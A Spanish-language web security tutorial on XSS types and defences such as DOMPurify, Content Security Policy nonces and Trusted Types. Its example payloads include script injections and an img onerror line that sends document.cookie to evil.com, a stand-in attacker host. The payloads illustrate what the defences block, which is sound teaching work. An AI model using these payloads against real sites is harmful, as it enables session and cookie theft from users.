Seguridad JavaScript: XSS, Content Security Policy, sanitización y DOMPurify

La seguridad del lado del cliente en JavaScript es una responsabilidad real del desarrollador frontend. El Cross-Site Scripting (XSS) sigue siendo la vulnerabilidad web más frecuente según OWASP y, aunque los frameworks modernos ayudan, comprender sus variantes y las defensas disponibles es imprescindible para construir aplicaciones robustas.

Los tres tipos de XSS

El XSS se manifiesta en tres formas principales, cada una con un vector de ataque diferente:

// 1. XSS Reflected: el payload llega en la URL y se refleja en la respuesta
// URL: /buscar?q=<script>alert(document.cookie)</script>
// Si el servidor inserta el parámetro directamente en el HTML:
// <p>Resultados para: <script>alert(document.cookie)</script></p>

// 2. XSS Stored: el payload se guarda en la base de datos y se sirve a todos
// Un comentario malicioso guardado: "<img src=x onerror=fetch('https://evil.com/'+document.cookie)>"

// 3. XSS DOM-based: el payload se ejecuta solo en el cliente sin pasar por el servidor
// Vulnerable:
const nombre = new URLSearchParams(location.search).get('nombre');
document.getElementById('saludo').innerHTML = `Hola, ${nombre}!`;
// URL: /pagina?nombre=<img+src=x+onerror=alert(1)>

innerHTML: la puerta de entrada más frecuente

Asignar HTML sin sanitizar a innerHTML es el origen de la mayoría de vulnerabilidades XSS DOM. La alternativa segura es textContent cuando solo se necesita texto, o sanitizar el HTML antes de insertarlo:

const comentarioUsuario = '<script>robarCookies()</script> Gran artículo';

// VULNERABLE
elemento.innerHTML = comentarioUsuario;

// SEGURO para texto puro
elemento.textContent = comentarioUsuario;
// Muestra literalmente: <script>robarCookies()</script> Gran artículo

// SEGURO con innerHTML cuando necesitas HTML real del usuario
// Requiere sanitizar primero (ver DOMPurify más abajo)

DOMPurify: sanitizar HTML de usuario

DOMPurify es la librería más usada y auditada para sanitizar HTML en el navegador. Permite HTML legítimo del usuario (negrita, enlaces, listas) mientras elimina cualquier cosa ejecutable:

// npm install dompurify
import DOMPurify from 'dompurify';

const htmlUsuario = `
  <b>Texto en negrita</b> y un <a href="https://ejemplo.com">enlace</a>
  <script>alert('XSS')</script>
  <img src=x onerror="fetch('https://evil.com/'+document.cookie)">
`;

// Sanitización por defecto
const seguro = DOMPurify.sanitize(htmlUsuario);
console.log(seguro);
// "<b>Texto en negrita</b> y un <a href="https://ejemplo.com">enlace</a>"
// Scripts e img con onerror eliminados

// Configuración más restrictiva: solo permitir ciertos tags
const muySeguro = DOMPurify.sanitize(htmlUsuario, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
  ALLOWED_ATTR: ['href'],
});

elemento.innerHTML = muySeguro;

Content Security Policy (CSP)

CSP es una cabecera HTTP que instruye al navegador sobre qué recursos puede cargar y ejecutar. Es la segunda línea de defensa: aunque llegue código malicioso, el navegador lo bloquea:

// Cabecera HTTP para CSP estricta (configurada en el servidor)
// Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-RANDOM'; style-src 'self';

// En Node.js / Express:
app.use((req, res, next) => {
  const nonce = crypto.randomBytes(16).toString('base64');
  res.locals.nonce = nonce;
  res.setHeader('Content-Security-Policy',
    `default-src 'self'; ` +
    `script-src 'self' 'nonce-${nonce}'; ` +
    `style-src 'self' 'nonce-${nonce}'; ` +
    `img-src 'self' data: https:; ` +
    `connect-src 'self' https://api.ejemplo.com; ` +
    `frame-ancestors 'none';`
  );
  next();
});

// En el HTML generado, los scripts legítimos necesitan el nonce:
// <script nonce="RANDOM"> /* código legítimo */ </script>
// Los scripts inyectados por XSS no tienen el nonce y el navegador los bloquea

Trusted Types (Chrome y Edge)

Trusted Types es una API del navegador que obliga a que los valores asignados a innerHTML, eval y otras APIs peligrosas pasen por funciones de políticas definidas. Hace imposible el XSS DOM accidental:

// Activar con CSP: require-trusted-types-for 'script';

// Definir una política que sanitiza con DOMPurify
const policy = trustedTypes.createPolicy('dompurify', {
  createHTML: (input) => DOMPurify.sanitize(input),
});

// Ahora innerHTML solo acepta TrustedHTML, no strings directos
elemento.innerHTML = policy.createHTML(htmlUsuario); // OK

// Esto lanzará TypeError con Trusted Types activado:
// elemento.innerHTML = ''; // TypeError

Otras APIs peligrosas a evitar

// PELIGROSO — nunca usar con datos de usuario
eval(datosUsuario);
new Function(datosUsuario)();
setTimeout(datosUsuario, 0);          // String, no función
elemento.setAttribute('href', url);    // Puede ser javascript:

// Validar URLs antes de asignarlas
function urlSegura(url) {
  try {
    const parsed = new URL(url);
    return ['http:', 'https:'].includes(parsed.protocol) ? url : '#';
  } catch {
    return '#';
  }
}

enlace.href = urlSegura(urlUsuario); // Solo HTTP/HTTPS

XSS en frameworks modernos

React, Vue y Angular escapan los valores por defecto, pero mantienen "escotillas de escape" que hay que usar con cuidado:

// React: dangerouslySetInnerHTML — solo con HTML sanitizado
function Comentario({ html }) {
  const sanitizado = DOMPurify.sanitize(html);
  return <div dangerouslySetInnerHTML={{ __html: sanitizado }} />;
}

// Vue: v-html — igual, solo con HTML sanitizado
// <div v-html="htmlSanitizado"></div>

// Los valores normales son seguros automáticamente:
// React: <div>{datosUsuario}</div> — texto escapado automáticamente
// Vue:  <div>{{ datosUsuario }}</div> — igual

La defensa en profundidad es la clave: escapar en el servidor, sanitizar en el cliente con DOMPurify, añadir CSP como red de seguridad y usar Trusted Types en aplicaciones críticas. Ninguna medida por sí sola es suficiente, pero la combinación hace que un XSS exitoso sea extremadamente difícil.

COMPARTE ESTE ARTÍCULO

COMPARTIR EN FACEBOOK
COMPARTIR EN TWITTER
COMPARTIR EN LINKEDIN
COMPARTIR EN WHATSAPP